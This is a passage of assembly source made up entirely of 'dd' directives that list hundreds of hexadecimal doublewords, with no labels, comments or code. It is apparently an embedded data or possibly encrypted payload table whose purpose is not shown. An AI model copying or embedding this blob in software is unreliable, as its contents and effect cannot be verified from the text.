0F2C30E43h, 0C803004h dd 0E927D389h, 0ABA075EEh, 352A7156h, 3D3049B4h, 3B5B4CC2h dd 0C7B7CB6h, 198E7AC6h, 7F125654h, 43807D4Ah, 902FBC67h dd 540D05DCh, 0E0091FACh, 84B5C0F7h, 0E3FA50BFh, 5049335h dd 0BF12A354h, 0A47FE9B1h, 995D94h, 7F8E985h, 684938FBh dd 0E215AA0Bh, 48978405h, 346E4B1Dh, 0CCF5C9DDh, 0BB37307Ah dd 0C0007BD2h, 95CB8149h, 4C3D7976h, 80096C57h, 168E8206h dd 0B800B0C8h, 73B2CC4h, 4D063F7h, 0E00E0C1h, 4A8735D8h dd 3A057431h, 75A739F3h, 6A279158h, 3DE3D2CAh, 40D40368h dd 276E5FB3h, 0FED3459Bh, 284CDAD0h, 0AF6596D8h, 5F256BD2h dd 5F096659h, 0FB8F4420h, 12AB1333h, 42D9EB64h, 4B6FF73Fh dd 4EA42729h, 253F10ADh, 2606FE46h, 0FF470E92h, 0F452A833h dd 7D4F39AFh, 12E880C1h, 0B787C3E9h, 0F2EFF9FEh, 8F55B2AFh dd 0E3A837E9h, 9738FE5Eh, 0AF5B2EE9h, 182680F9h, 0DF313465h dd 0ECF3B4F7h, 0D660F2FAh, 418DD90Bh, 0F62E318Dh, 0C5E84B5Fh dd 2B39BF09h, 76CA005Fh, 107AAE38h, 15788E9h, 8561F581h dd 7EC82FAh, 0A087C1EAh, 3A527B53h, 0C1E124AEh, 81913103h dd 4A7E680Ch, 0FAE8534Eh, 664CCF71h, 0BA3A0264h, 0E7A7CFFCh dd 0F729C951h, 0E9C1075Eh, 8D8108E1h, 0DD7D02E2h, 69EC2036h dd 9072CCCBh, 0C55FC3DEh, 8C49337Dh, 0B9095195h, 0FC76CE0h dd 26450C96h, 2ED877F6h, 0C5931027h, 0ECDC5796h, 5E74041h dd 5B592D5Fh, 0ED2F8A8Eh, 706B857Eh, 4A9AF95h, 9E54D897h dd 987C509Fh, 40AA5AD2h, 70C3EEF3h, 0DA9D2083h, 0D40882D5h dd 3E845940h, 4F219E02h, 678EC11Ch, 97CA0F05h, 47BA0405h dd 7442D581h, 0E1278017h, 0C53005EDh, 5D3B0C37h, 0E0294FE5h dd 50022204h, 4B6823EBh, 4A6EE655h, 15C2F058h, 0C86F88BEh dd 600B25DBh, 0B626495Bh, 22EB1116h, 42C1E8A7h, 44C47B7Ch dd 0F858070Bh, 164F6066h, 64DB5ACEh, 601FE912h, 5A05FA53h dd 3453C0EEh, 0DC64D761h, 6C49E38Ah, 4405C3DDh, 0EDFCEEECh dd 3C7628B1h, 0C21B8427h, 0B304FAF9h, 0EB24E475h, 80204B1h dd 4BE343E9h, 847FEC35h, 0E8ABC292h, 31B0F113h, 130B9216h dd 0DD530B54h, 0AEBD20C8h, 0E4CA8980h, 0BE5A4BD5h, 0C59A838Ah dd 4AB844D5h, 98DBC45h, 772C3E2Ah, 34168601h, 5B856E60h dd 21EA2A00h, 2CE93A0Fh, 5A203830h, 59B30768h, 0C36D5427h dd 9DEB9B5Eh, 5F8821Dh, 0D921F0C8h, 0C10042A6h, 44551D79h dd 3C5AC5E9h, 5D84B6E9h, 0F82807B6h, 0A04ECF72h, 1D22F587h dd 823D5F8Fh, 66F55F24h, 2D6741D2h, 0F9D311BBh, 349CC102h dd 0C077B4A8h, 4B5E689Fh, 2B8F36Ch, 6A934972h, 0CADDC242h dd 0BD52FF00h, 23298D16h, 5FC2D100h, 4FE0967Ch, 87A4C109h dd 14761675h, 0A95382BFh, 3816BA4Eh, 49597BECh, 0BDCBEE4Ah dd 0BF732B12h, 9826AAB7h, 0CAD7A77Fh, 668A41F3h, 7B118A2Fh dd 0FD30992Dh, 0AFD22B1Bh, 5C2D42D6h, 4F16EECDh, 0AF138BE4h dd 0E9C3E5F3h dd 6B029839h, 0FECA35EDh, 25656851h, 7C0B24F7h, 0CDF2096Bh dd 7E05DCE9h, 1D2D43F4h, 25043819h, 0F87D6F1Ch, 7016BF80h dd 217E1F5Fh, 48A109FDh, 0BC5B19F5h, 0F63F3765h, 11F59149h dd 0F30362E7h, 705976A4h, 64224DD9h, 6690EAA4h, 19D7F20Dh dd 3BD88EB1h, 0A84151EBh, 241BA16Fh, 86A3D57Eh, 0BB729D8h dd 4093890h, 82F37D4Ch, 0FAFEE920h, 53EDEDABh, 0C7DC60AFh dd 228EE452h, 0DBB71620h, 42E942B7h, 8C4FD47Dh, 310C253Ah dd 8209FE49h, 0D273D668h, 0D0F1C0BAh, 0BEF680EEh, 377DC6E6h dd 2F3A5459h, 58307C57h, 0E02F439Ch, 67791145h, 5A3434h dd 2047C75Dh, 7B091886h, 0DF57293Bh, 0DBB3AED1h, 3429BE2Bh dd 2D270BB8h, 0E949815Fh, 77265BABh, 49E8A477h, 0B45E3E68h dd 0D097523Fh, 0FAF362ECh, 800926BEh, 1B1C334h, 0EB88CF9Ah dd 8C08A81Ch, 0B8D17EB5h, 6F44204Bh, 0F9EE8790h, 8F09F99Ch dd 0E38DDE47h, 0AE846BDEh, 0BEF5FFF8h, 4FE9BA3Ch, 12A49486h dd 739EBF9Eh, 1723CE4Fh, 0D0BC822Eh, 9B0AB8F1h, 0BA8C611h dd 1E68532Bh, 529E96D9h, 0B6C1B387h, 5BDE3061h, 0C9D0906Ah dd 104DE994h, 8AEE4A1Ch, 0FD2884BEh, 33546581h, 2FD8CD2Bh dd 80427E5h, 0AF3795BFh, 47780689h, 692F614Eh, 45F41746h dd 0AC5CCD35h, 104376DEh, 0A1AB5B6Ah, 0F64630FFh, 15374217h dd 301AEBF0h, 6E0C728Ah, 0A217AD28h, 0F3C579E9h, 0D3DE3EA8h dd 2D6BA0C6h, 2AF0330Fh, 6A624492h, 5E91E6BBh, 0FB1318FCh dd 0C5FCA897h, 0E7FECACCh, 575A0009h, 9A19FABFh, 0E781023Ah dd 1B5154D4h, 91091578h, 0F821F812h, 0AA107141h, 1DC475B3h dd 0B500D64Ah, 9A1D0AB9h, 0BD550274h, 3A4036DCh, 0C567A0DDh dd 0A15529Ch, 276AE90Eh, 1EEF80D7h, 8908E7B6h, 575FFE2Fh dd 0FEB7F404h, 54BC3E13h, 5EEE82A4h, 32099857h, 0A73F9942h dd 0E95B40D5h, 98C569BFh, 0F6CE6E74h, 3B26913h, 0D2750D9Ah dd 41E4CF3Bh, 0BB0AEBC5h, 81441D4h, 0DBE95F11h, 3A7875B2h dd 190D18A0h, 209E4E9Fh, 5350B674h, 4D0B8DDBh, 75291FA8h dd 0C751A964h, 7047E10Ch, 48415887h, 1E066160h, 0C96BE47Eh dd 0EB9071E6h, 0C6FEEE87h, 0CA551907h, 54BB29CDh, 0FC57C4D0h dd 0F840B1CEh, 9E1EBF04h, 66771F38h, 8DE8EF12h, 98A809DFh dd 0ADB7EFDFh, 1CD38840h, 710AF2A4h, 9C688903h, 39BBFFA7h dd 787ED8E9h, 0A58FA3A7h, 378A0764h, 212C8E16h, 2746B56h dd 26E8C05Dh, 7BD22C79h, 0D1491262h, 2AEF91B8h, 0E0B4C122h dd 0B544755Dh, 0C9C38C99h, 12AF39DEh, 0A7EBD313h, 0AA2C07B4h dd 978ED028h, 806F0039h, 0C1807FC8h, 0F1247273h, 92E613D8h dd 0D8C7BCBBh, 9CBA1BE9h, 514B6639h, 723BDDADh, 1137AF9h dd 84BA4122h, 58080910h, 0C8CA0243h, 801930F8h, 0E406CFEEh dd 25EF0F6Ah, 0BBA422E9h, 9F4CC057h, 46ECE01Dh, 0F4527F94h dd 0C27D2715h, 69B2F9F8h, 5191F189h, 60006BE5h, 713440B3h dd 3E74BC1h, 4177CF62h, 0DC7538B2h, 0BD2A640h, 0A9C88ADAh dd 701353C2h, 50FF6E34h, 0F64E0873h, 0FFA116ABh, 43AD82Dh dd 762555h, 0B837A2BEh, 811CBC3Eh, 0A03803CBh, 1B772062h dd 5C96AD09h, 0F19A8A21h, 8FBE4A38h, 38EE5A6Bh, 2B4F4B4Ch dd 58E2FFB8h, 6472FBB9h, 5B0E6620h, 6721C580h, 23D7B1EDh dd 4F8AF4A9h, 1C521509h, 17EAF148h, 0D8AF4202h, 499D2D3Eh dd 0ED6F5DE7h, 236884BAh, 0EE3AD8F1h, 4AE9D73Ch, 0AFB6135Bh dd 4F82B606h, 90C3E00Eh, 6046712h, 430D6F52h, 0F1CC30EEh dd 0F58C16C9h, 0DE7209CCh, 0FABCF464h, 0BD02BFF8h, 2C6018B3h dd 0DD7C5562h, 53F08605h, 0CB5188C7h, 8A4D1F6h, 0C83D1270h dd 0D625F790h, 5E26B156h, 6EE4292Bh, 176EA229h, 35EE62Ch dd 0A14213C3h, 0B0C7757h, 1256C40h, 3408BBA8h, 0B914120Ch dd 43D4865Eh, 0D66812D0h, 51AAC874h, 575A96F2h, 889BDA30h dd 1AE93ADDh, 0ACCBFFB8h, 4AACF444h, 0AAE951F0h, 0C2FC55D3h dd 23F302B2h, 7167203Ch, 98ABB55Fh, 5E38215Fh, 0EE2B048Bh dd 2F48532Eh, 205D5125h, 6F1A7CBBh, 22050F02h, 5E5D9D6Bh dd 0ACFBC968h, 0DB98285Ah, 2D0F6795h, 55F5A9E0h, 961F709Eh dd 7548BF0Bh, 20573412h, 3FE3059Eh, 6478B7F3h, 3B072D51h dd 0C127F5F6h, 7D28CA57h, 1D681A60h, 0DC956270h, 6A85E935h dd 7A3DBF4Ah, 59AAA940h, 9B064CA0h, 0CD3FC902h, 27D88928h dd 9455F23Fh, 38934DEEh, 0A71502D1h, 5A10AEE9h, 0C2665F61h dd 74515915h, 2DA9F049h, 864E496Dh, 0C82B4782h, 2DA648F7h dd 0B291799h, 6C45EFF0h, 0C420E4A1h, 4E955C8Dh, 3C07EF11h dd 33C383EDh, 0F6E82541h, 0B562A5FEh, 1F165F70h, 0B62067ACh dd 4A679067h, 4A49EAF3h, 0EBAB5D05h, 803A6557h, 12877532h dd 11006F2Dh, 3F0563A9h, 3E71410Fh, 751C801h, 1202BF44h dd 0C664BBE9h, 0A3E09CCh, 3CC075ABh, 7867C203h, 2042BF18h dd 92B6C63h, 0E26619B8h, 4B18D4D4h, 16EABA46h, 113493Ch dd 0DF28C30Dh, 6F0B7A0Ah, 5871745Bh, 687BE1F7h, 89F9694Fh dd 1286FC4h, 0F667C980h, 48C60260h, 1A0DCBFh, 0BA0752D8h dd 31821D6h, 0B76ED086h, 0C8521579h, 82A24722h, 40966B40h dd 51120578h, 80FBDEF5h, 130AEF4Eh, 0E9903EF4h, 72930C4Fh dd 0D5CDF005h, 3B5F3F17h, 0A22C9016h, 1CD24A1Ch, 0D15C68h dd 763249B8h, 0E0B0571h, 6A8DB2Eh, 4D34C86h, 643FC1C7h dd 4785BB48h, 0F03C41BEh, 4535BB54h, 7021BBA9h, 0B723CC83h dd 0C6C0A949h, 2E304576h, 313B0CC1h, 942E5182h, 52080567h dd 9B141468h, 8A6F5E12h, 0C8FE4E18h, 0A359E97Eh, 0F3BD0091h dd 0BE72CB06h, 0F15E1639h, 7C32BC10h, 2B60965Bh, 89041858h dd 0EC133BF7h, 72DE69BAh, 0B2AF92E0h, 77578969h, 6D1FFEB0h dd 0CB4DD19Dh, 341F6FFDh, 0BF4EBE8Ah, 34E9C401h, 0BF5335F0h dd 5B13CDDCh, 2514E4BFh, 2604421Fh, 4BC50540h, 9351CEAh dd 2D27063Fh, 0AF2FA184h, 0ACAC8F84h, 2EB7F6F1h, 955BB49Ch dd 0FA7E4AA2h, 3D8453F7h, 5B408AADh, 609DE6B2h, 0B76F4A24h dd 48CBCBE6h, 0C0500402h, 7E3EFh, 5A9E1FB0h, 0AA7E4468h dd 31FF7A0Dh, 0E0B1361Dh, 0D49EE057h, 5375FEFDh, 86FBC9A7h dd 1817C310h, 272E457Eh, 0BED8C543h, 0C652100Fh, 1F596677h dd 0D3500CEFh, 0C77AA015h, 950F08A3h, 37F8E95Dh, 178679FCh dd 409F3CC1h, 3E385734h, 975B4389h, 0DEF7B03Dh, 144FBE41h dd 0A849AADh, 29E9AFD4h, 470FBFC0h, 2CB87FB5h, 0D061561Ch dd 10AA29D3h, 48580870h, 8212A54Eh, 57029D0Ch, 0D9407560h dd 5B837CE3h, 0ADC0E51Ah, 4ECCF24Eh, 9109BE5Eh, 88C677C5h dd 49925F97h, 0D72DC2D5h, 31C4FD34h, 26EC7BCEh, 0B54152CEh dd 3AEE881Ah, 1EB49BB4h, 0FCC2886h, 619C480h, 58E1F8E0h dd 824E29F9h, 79444268h, 0B45000EAh, 0F6FC861Ah, 5308D760h dd 0A84542E9h, 1647E3AFh, 0EF21B16Dh, 3FF38600h, 4E07F6DCh dd 2DADA405h, 0DB74B9Dh, 0DA3DE9F8h, 537C603Eh, 324BBB0Fh dd 292F4D6h, 99EC927h, 8335C29h, 6887792Eh, 78E417C6h dd 0B9B0BCB8h, 0FE3E2C74h, 54E10271h, 0DD73A92Fh, 0AA33ABE8h dd 299D7710h, 32C20118h, 20597998h, 2E600549h, 0D4FF559Eh dd 0E9080587h, 2672BC16h, 2F425631h, 0F440C825h, 2A0FB727h dd 0BD311164h, 88AC4E41h, 0F451D88Bh, 8CB6F7EBh, 16EB5D5Ch dd 0DCF2D86Ch, 3F8FE9A1h dd 0B168DF02h, 3F14C49h, 9C95343h, 98015746h, 26B76220h dd 7F28E9h, 7D3EBE3Dh, 94904F59h, 408BA1h, 2761DDBDh, 5D287Bh dd 0CD2CF1ABh, 0D4ED4849h, 720C3E07h, 10CFF47Ch, 1E593008h dd 60303CDBh, 4A381A62h, 16F0940h, 4E08D42Ah, 7AB9D8AFh dd 2DFB4300h, 0CB7FA1BBh, 0F331174Fh, 0FAD0BA5Eh, 0B08E8C0h dd 0FA24D8F6h, 0C128A901h, 75B3DDE9h, 4803EEBh, 90420848h dd 5CE309BFh, 427F75ACh, 5A0804B0h, 6530B9EEh, 9F08552Fh dd 3B0BC030h, 0C6A0125Fh, 0C946802h, 3EEC24EFh, 480ADED1h dd 6819703Ah, 75947BA0h, 97433160h, 0F8B1BF5Fh, 0F84ED9E1h dd 6A98D7F7h, 546D5164h, 7BDC2DEEh, 40069D2Ch, 8A00B196h dd 5966CB28h, 9005E3C0h, 20DE90E0h, 8728D37Eh, 370B7D7h dd 0F6DF7825h, 0B9C38274h, 0D4842A50h, 808F80FBh, 75623239h dd 966163Eh, 360F8200h, 96F64D43h, 0C3F5B263h, 0F582D8F8h dd 5F239009h, 0ED9E900Fh, 0EF3D92AAh, 21B6F4CDh, 16EA080Bh dd 0C28004E7h, 0C1D42850h, 0DE98EC51h, 5861B4C4h, 6DE94712h dd 0CB3B9265h, 3D5012F2h, 0F97ECCDDh, 0AF68C0A7h, 0BD6C2A09h dd 0E6090F96h, 0DF91121Eh, 2988D380h, 70B52E2Ah, 0A71DBCEEh dd 0C22916FDh, 0CF85E977h, 5BEDAF7h, 6A91A20h, 36CE8131h dd 4A58030Ah, 0AC0A8552h, 7FE9F1E3h, 0DC20E575h, 282713C7h dd 0E28A1EF8h, 0A2F9014Bh, 444D7098h, 0E9055504h, 89AACB62h dd 2FB1601Ah, 45923AB6h, 0BF0780CAh, 6438410Ch, 56A0AE21h dd 6A01181Ch, 436D0C09h, 31110F2Eh, 344A663Bh, 8E54B5CEh dd 5F2015A8h, 7521A067h, 37A94C36h, 0E3F75A75h, 288F0213h dd 7F5F117Dh, 70E968E0h, 0DCD1C04Fh, 0BF00EBB6h, 442C6447h dd 611DE37Dh, 8AAE813h, 5B07FC34h, 4B82FE29h, 281E8243h dd 0BF5A0589h, 7E3B6CB3h, 91D8A655h, 76E09AA0h, 0CEFE2DF6h dd 2690ADF0h, 6212C65Eh, 4D0BB7BAh, 0F9E91987h, 0C5D854FFh dd 0A8C99D63h, 75C1CEF8h, 0FEA48878h, 9D248Dh, 3B0DD5C9h dd 2C25681Dh, 387C4664h, 0BA4A6E16h, 0AE4F008Eh, 55299432h dd 0C6DCF88Bh, 0C1E1B3EEh, 445BCD30h, 4409F589h, 1A331Eh dd 0ADAA9D93h, 301DA6B5h, 0C16909B8h, 8000D0E6h, 59CE214Ah dd 98515646h, 733027BFh, 40B5EAC4h, 0BD5F6897h, 155D159Ah dd 4B5C9E6Ah, 0E72442C7h, 2EFFF35Eh, 1630ABF7h, 0CB6A4CE9h dd 2F55EB43h, 6C927F90h, 351E61ABh, 0C6297C70h, 20D740ABh dd 41762FA0h, 0F90F674Eh, 64258551h, 0F0CFFC47h, 612CEF32h dd 57C2F83Bh, 0F4553DC2h, 0F1C051FBh, 8B802B03h, 723064F2h dd 8D46FE2h, 0FC66C465h, 0D1F5728Ch, 0FC2D3ACAh, 0E96A3A84h dd 2E90FC59h, 2BCAFBACh, 8E84CA3Bh, 2B6571FAh, 1A5F03B4h dd 1C51B626h, 0F7895C54h, 5D7427D3h, 0DF063CF2h, 394E9E6Ch dd 7DBFBF09h, 457D4242h, 15E48283h, 8AC46FF1h, 9DE90880h dd 8B540895h, 4CB36858h, 51CB1F7Ch, 0FBDE0E09h, 3E6CF4ADh dd 9AF7CFA7h, 790E0FEh, 802496D0h, 0AE1AE8D5h, 0DE9FEB89h dd 7007EDB4h, 0EEB78797h, 4DE92A32h, 0DA949EB1h, 0A8B545DDh dd 23992607h, 20464309h, 0DBAA0C4Fh, 8B5C2517h, 0CE1F0688h dd 293A2A38h, 0B0EF33F0h, 0F7B13306h, 6AB47A86h, 0E7E92574h dd 67EA468Bh, 5A20597Fh, 18C35E84h, 52306152h, 53C3C4FCh dd 0DA91E388h, 1CA9265Bh, 0D000F02Ch, 8092B551h, 0AC6EEDCDh dd 4C8078Fh, 34F2F6AFh, 49C3F5A8h, 0CAC5E882h, 0ECC67FA7h dd 0ED204EB0h, 0F4681221h, 0F24BFC10h, 0C0BAD65Fh, 0E73DB2C7h dd 5AAB1B5Eh, 0FAD311F1h, 1CE1762Fh, 6FF2EC52h, 34AB180Bh dd 6E658C01h, 0EC057062h, 4AE4535Eh, 0EB93222h, 0FDDE9816h dd 74420B69h, 6C6525FBh, 74279889h, 944765A0h, 16A1FCB8h dd 299C838Fh, 68C30931h, 0CAD96174h, 2B47B0BFh, 3D71EDEAh dd 40BB7CF5h, 0EF2D04Ah, 3D7B270Fh, 4B3228E1h, 5B497BC8h dd 0A4D0F920h, 8B0A50AFh, 70B54120h, 857C5B16h, 8EF2AA5Bh dd 0D5A8D4C4h, 0FAF0001Bh, 317A154Dh, 8B18DA5Dh, 25C67B21h dd 68496877h, 722C5247h, 275CCC1Ch, 0BFEECD7Dh, 0F2232D62h dd 0FC2577D1h, 0B6538264h, 9D433096h, 5AE2F39Bh, 0A6C47FDh dd 81A8FA99h, 0AF4EFBC2h, 7EE56A13h, 6DE90800h, 50FEBDE7h dd 87D2D449h, 19086850h, 0F661EBDCh, 81FC0D0Bh, 551D3BEDh dd 84178FCCh, 0D08940DEh, 0E8A04035h, 862FCDB8h, 3AF63A60h dd 43DC5FB4h, 0EABB8249h, 5F9BFD27h, 5442E0C9h, 0FAB954EBh dd 0BE0056BCh, 61765859h, 12C5E681h, 1645312h, 92416092h dd 49C4834Dh, 0BC0B400Fh, 79DA4FFh, 3C09A898h, 856BEB65h dd 8AB42071h, 9051CF7h, 0B27D6F40h, 8B3C595Ch, 0AC5862E9h dd 0EF2054Ah, 90B5ABD3h, 0F7A1672Ch, 30EF3B14h, 59BA5251h dd 775B0171h, 0FE2584BCh, 7FF044C4h, 2AF36BF3h, 4C374310h dd 3AF539A7h, 18EC3EE6h, 0F2C7BACBh, 6D3C0917h, 975E2144h dd 798FBB01h, 0B33173D2h, 6B87D4F2h, 5244917h, 60A05098h dd 8D12BD72h, 0C759C81h, 0BB388C7Fh, 0CC58521h, 730E07F4h dd 0B10D30Ch, 0FD0348A1h, 295CE818h, 8D210ADh, 6140C68h dd 4A46EEE9h, 43B7BE04h, 9FBD6376h, 1A8C5219h, 261D2C54h dd 0D04225F1h, 5E2500FDh, 16009A60h, 3548E8D1h, 58452004h dd 0C9274E01h, 0C52548C7h, 705F8998h, 5AE17A76h, 0AA764F68h dd 61E34A73h, 7DCE4518h, 9CC107A0h, 86AF7A3Fh, 0B0224C29h dd 65FB5D43h, 5AA4E05Fh, 0BDB46673h, 4438B69h, 0B2BC6D6Dh dd 5D89B83Bh, 0C1D120EDh, 57067F8Bh, 20BA74B8h, 0B8C13B28h dd 0CD0C605h, 0F1EE6782h, 5A080188h, 54A46F46h, 0CB062DE9h dd 0C188BA90h, 0D7FA682Dh, 0E94E5B36h, 929E21E2h, 5F51C375h dd 55B4B7h, 0EF1DB2BDh, 57E0B579h, 65B6AA15h, 0DEC88683h dd 50D7D9BCh, 0EA12526Dh, 2B16EFF7h, 0B03AE8A1h, 59409040h dd 27D57A31h, 2EF8F587h, 0FC26372Fh, 0C549CFEEh, 60438541h dd 0B5C00B32h, 8A1E5CE7h, 0FF79045h, 1FF91B80h, 332ACF80h dd 94C10729h, 10F31C93h, 13DD3E30h, 0AAF0F7DCh, 0D1E15204h dd 1E20208Dh, 85E2997Dh, 3025EA68h, 5DE9549Ah, 7AB43B4Bh dd 0F2720106h, 0F7DA8750h, 5EBF3EDBh, 6A26E9h, 0CA92EFFh dd 5E5AF209h, 80EF24AEh, 525006F2h, 7E9521E5h, 0BF0CE796h dd 0A955F34Ah, 770DD205h, 9FA935C6h, 0C30B807Fh, 604C3022h dd 923B16BDh, 0A78B61EBh, 652E1109h, 0D2FAC79Dh, 2996C157h dd 8C6138CEh, 2F68EB85h, 1F6611F8h, 5B11D664h, 0D5F362C9h dd 7C8B87D0h, 5E263D9Ah, 0FAFEA297h, 307E228Bh, 0E31DA74Eh dd 0E2281189h, 0C90B9179h, 7D05C260h, 3252AFA0h, 0F6BE0A0Ch dd 0E5AC7E96h, 8FF212Ch, 53029639h, 0CC6FE168h, 28C420D5h dd 50B2B12Fh, 788749B1h, 14FEDA4Bh, 84FDE821h, 0CCFF59D7h dd 6C4B81B9h, 0E0D631BBh, 0C2239662h, 2F039806h, 41D18255h dd 1769B813h, 0EA324605h, 3913BF7Bh, 5636D0EFh, 18985E55h dd 97ED7A29h, 0A1467D4Bh, 1890EB05h, 7EC41E92h, 80BBEC4h dd 5D79AB5Eh, 0F6AF5867h, 49A03822h, 62FC6812h, 214E39FEh dd 52829253h, 0C4CAB7EFh, 0FE18D411h, 4C92B625h, 6E20CD7Dh dd 685E0947h, 0B85C5030h, 6C3E7762h, 51D9283Ch, 8F995BBh dd 1755566h, 327627E7h, 6E219DE9h, 19E8FACh, 0C11DBB3Fh dd 0D52D20E0h, 0E3E8214Bh, 6C8CE2C0h, 50951F9Ah, 6180C93h dd 0C31A53B3h dd 418B2E02h, 77685651h, 0E91245D8h, 60E455AFh, 9159171Ah dd 7E8F4276h, 7261A8FAh, 5DE24ACh, 481209DCh, 3C776F21h dd 9312BE27h, 0F129EA29h, 0E030ED71h, 0A45002A8h, 1B5C6874h dd 0AC9847D1h, 0BDFB311Bh, 732D1316h, 9FBA579Ch, 22F77CC1h dd 5EF313ECh, 57796B90h, 0E760F52Ch, 84FC8291h, 2DBE7712h dd 5CBA9817h, 0E10ED46Bh, 0B579F5C2h, 0E2088952h, 0E2DED3F2h dd 0DC741CE9h, 0D4F93009h, 0B25258D6h, 6957F89Dh, 0AFDD285Dh dd 3FD33E50h, 1EBCF40h, 64F7FB87h, 0ED5008D7h, 71C710A6h dd 0AB16C04Fh, 3388E260h, 121C090Ch, 0CA02EFC1h, 0DF093D59h dd 0D597DB6Ch, 0F0C4209Bh, 4A912DCCh, 0CB827E8Bh, 0E26EF87Bh dd 0D7290A22h, 908BD55h, 0CA5818E9h, 24F0BF06h, 9301B8Dh dd 5FFE3582h, 0B05766F5h, 4231091Ah, 3685F801h, 4E20FC9Ah dd 1872D981h, 0C20F9804h, 37692401h, 0F2D3E961h, 9764BE2Eh dd 62550592h, 25995C6Dh, 1F24BE2Fh, 0E2B90E70h, 7723546Dh dd 625A9FDEh, 13A3083Ah, 68BA2918h, 26D9BD0Fh, 400EB88Fh dd 7D0D6ACDh, 0A8C64A70h, 54DD008Eh, 91E915A1h, 0FC9297B6h dd 5B058081h, 2B9E9341h, 0C1291744h, 2C8499F9h, 5057074Ah dd 0A284567Eh, 107E8EABh, 5D257CC9h, 7E973994h, 965FEBA0h dd 0F22D3D9Ah, 0FC30CD96h, 4E074122h, 0B0E90B68h, 32B09B26h dd 5F1A6880h, 6288D0DCh, 78BD0F53h, 812AE800h, 2501DEE5h dd 0E94D585Ah, 349D2E83h, 11B45BBh, 7DD6E864h, 3C1AB930h dd 2672E405h, 9B7754A3h, 86A54E0Dh, 9C828B80h, 52589A03h dd 200741D0h, 5095AE0h, 2E254Ah, 4BE9D04Ch, 0B89FA831h dd 3D27E051h, 1B13C981h, 0E9FD0705h, 61E1A2BDh, 0B7A01C7Dh dd 19D2C58h, 2D28E93Ah, 79C4EC22h, 96C6A3B8h, 684942EBh dd 46795C6Eh, 0E85E5891h, 0AA68E009h, 28F9B19h, 775E3E1Bh dd 0A4EF1E0h, 0FD0BEE2Eh, 7D45091Fh, 0E8AC4F4Ch, 446D7F1Eh dd 0C05DEF31h, 4E6642EBh, 35407800h, 5CA9778Dh, 4BCC0F0Dh dd 0F442082Ah, 0DB40AA0Ah, 1944352h, 73AC0297h, 0D3F4F871h dd 2246BA95h, 0FCF90DCEh, 6E5BBD21h, 486BE409h, 2C43A912h dd 2464B47h, 396D31F9h, 485E361h, 0F61690AAh, 885C52D7h dd 0C92610D0h, 0ECEBC112h, 0A04205ACh, 5EEC653Dh, 60C8F010h dd 0A8029252h, 0FA3F9868h, 0A4525F1Bh, 720ECE2Ah, 0F74B7132h dd 0C1C6AF40h, 17C241C0h, 0FECD3BE9h, 0BD3BED39h, 29C3B4F9h dd 235AA196h, 837D1C2Eh, 1E514C13h, 39B40C04h, 8982BC43h dd 974EF72Bh, 8A015C32h, 186ADDEEh, 0B02B07Fh, 6145BF61h dd 59026726h, 0A9A1E956h, 0EF27EACh, 7E41D305h, 2EC12113h dd 0BCA59BE8h, 0DD058061h, 5C300345h, 0FC5BDF09h, 0E70D5069h dd 79BD4A17h, 0F562EB23h, 60B6DE47h, 0EDC2F505h, 2966011Dh dd 35ED2BD8h, 1EDF02CBh, 2D5CBF99h, 477A5C79h, 0CBCDE9BAh dd 1876E354h, 261481E9h, 93EE5E66h, 2FCC72E3h, 0BE0AE043h dd 0A4070CC8h, 3CE84E3Eh, 594F2978h, 69DFEB4h, 21EC26AAh dd 0E34938C6h, 1C862CC5h, 0BD4F60Ch, 0EA803E5Ah, 2D275F9h dd 0AB0423C2h, 29DCC42Ch, 3FE90B3Ah, 1224CD6Ch, 0A18D3156h dd 5D5D02F6h, 34D914FEh, 0E69C126Fh, 0F0D6CB00h, 80B53F46h dd 0E807C538h, 8F71B151h, 0C1C0EFE5h, 0C9C9FE74h, 1808B1C1h dd 4631283Eh, 0B004AD3Eh, 17D059B2h, 0AF5768E2h, 1860C936h dd 41CF88B8h, 0BBDBFE9h, 4FC07D7Fh, 5D957221h, 5E54F390h dd 9152CCBFh, 0D357C9B0h, 67E9852Dh, 209B8D73h, 11216F0h dd 63BA3469h, 6005421Ah, 167113Dh, 482BE7C0h, 0BA754A44h dd 0DD022B94h, 8EEA28CCh, 864CBFE7h, 0BB87A4Dh, 2F847475h dd 0F70F02F5h, 85E540DBh, 50210101h, 7CE9DD29h, 40392E34h dd 22B1092Eh, 5D2C5C5Ch, 1A90E016h, 2D350547h, 7D4D2Ch dd 0E940A5E0h, 0E5365449h, 0D9F71DCAh, 0D1373931h, 3594F208h dd 6DFE95ABh, 3A4CBB01h, 0CBF9573Bh, 92CD507Fh, 56C6305Ah dd 1F7A8ABEh, 17FA6C5Bh, 0B7D9B3h, 0B0295993h, 153D0A5Ch dd 3BDD8643h, 8965ADF8h, 2D1C5A9Eh, 74A60687h, 0EAC2D584h dd 604C2DA0h, 1409CBB1h, 9A318730h, 4A56AC5Bh, 6E82CFEFh dd 877341A0h, 9424D101h, 0D02F019Ch, 68D6F736h, 3AA87AFAh dd 733AC9C1h, 67A93B4Eh, 6BDB8407h, 0F65C99EBh, 0DDF2E9E2h dd 0E8F716AFh, 0C651CF49h, 0B09A70A5h, 0C492635h, 4C990B1Ah dd 50B2BC4Ah, 3D34C9C1h, 2E1810F9h, 0C132AA4Fh, 83C87DC2h dd 0BABC70E9h, 0D816EC26h, 5389DFFDh, 0EC49804h, 0E9FE6159h dd 6D3F4108h, 93E82A44h, 0D7DBE9A0h, 1E3566C0h, 6043D163h dd 6081B648h, 61B80561h, 1A760E0Bh, 0A50176F7h, 5707EA75h dd 6A682CF9h, 0AF105349h, 4C523DFCh, 0ACD097C3h, 6E4ED720h dd 2E224A5Bh, 8077527Ch, 0E65892ADh, 0FBD981Eh, 0F18DC265h dd 0E055C78Bh, 962EE9C5h, 0E1C10466h, 0C68DEF08h, 7996D0DBh dd 1B344878h, 0A2B49105h, 0E9C2D13Eh, 5FD478E7h, 891408FBh dd 0D9CC7F27h, 31A85F25h, 2FF45FBh, 1A6E2512h, 96E0281Ch dd 0D62D229Ch, 4CE7C18h, 0FE896857h, 0D0805037h, 0BD0D1B02h dd 0FBE232A2h, 168FBA55h, 0B52AACAFh, 0B585540h, 1C03229Dh dd 51DD0949h, 11F9C3BEh, 47C76413h, 8951A303h, 28AACC66h dd 59549D20h, 650E8A4h, 0A1435C5h, 3BE3304h, 16A336DFh dd 5D52BAE9h, 0FCEA0254h, 165C1510h, 98C0174Ah, 3740750Fh dd 9FBAEC5Ah, 9D612003h, 91C0B9EFh, 3C16F8BEh, 55B00C8Fh dd 0C8EE4F01h, 99536DDh, 489758B0h, 0B57EC8CFh, 0FC13B564h dd 390A8453h, 0C19DD99Dh, 30389CF1h, 